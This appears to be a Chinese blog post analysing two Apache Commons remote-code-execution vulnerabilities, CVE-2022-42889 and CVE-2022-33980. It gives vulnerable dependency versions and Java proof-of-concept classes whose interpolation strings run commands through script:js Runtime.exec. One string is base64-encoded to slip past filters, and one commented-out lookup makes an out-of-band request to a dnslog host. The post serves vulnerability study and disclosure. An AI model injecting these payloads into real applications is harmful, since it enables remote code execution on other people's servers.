Apache commons-text和Configuration 命令执行CVE-2022-42889/CVE-2022-33980分析

Apache Commons Text是一款处理字符串和文本块的模块。
Apache Commons Text 在 1.10.0 之前的版本中由于插值默认值验证不当从而存在远程代码执行漏洞,CVE-2022-42889。

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。漏洞版本范围:2.4 <= Apache Commons Configuration <=2.7

环境搭建

  <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-configuration2</artifactId>
      <version>2.7</version>
  </dependency>
  <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-text</artifactId>
      <version>1.9</version>
  </dependency>
  <dependency>
      <groupId>org.apache.commons</groupId>
      <artifactId>commons-lang3</artifactId>
      <version>3.12.0</version>
  </dependency>

CVE-2022-42889

payload

import org.apache.commons.text.StringSubstitutor;

public class CommonsPoc {
    public static void main(String[] args) {
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
// 命令执行
//        String poc = interpolator.replace("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}");
// SSRF
//        String poc = interpolator.replace("${url:utf-8:http://123.d2kohg.dnslog.cn}");
// 命令执行base64编码绕过
        String poc = interpolator.replace("${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoIm9wZW4gL1N5c3RlbS9BcHBsaWNhdGlvbnMvQ2FsY3VsYXRvci5hcHAiKX0=}");

    }
}

在这里插入图片描述

还有很多骚姿势,可以参考官网给出的api
在这里插入图片描述

调试

调用链
在这里插入图片描述
其中可以看到lookup支持方式有
在这里插入图片描述

修复

修复前
在这里插入图片描述

修复后
在这里插入图片描述

CVE-2022-33980

该漏洞与前面的漏洞类似,poc如下:

package com.exploit.payloadclass;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class CommonsConfiguration2Poc {
    public static void main(String[] args) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder().withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).create();
        ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        System.out.println(interpolator.interpolate("${script:js:java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")}"));
    }
}

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值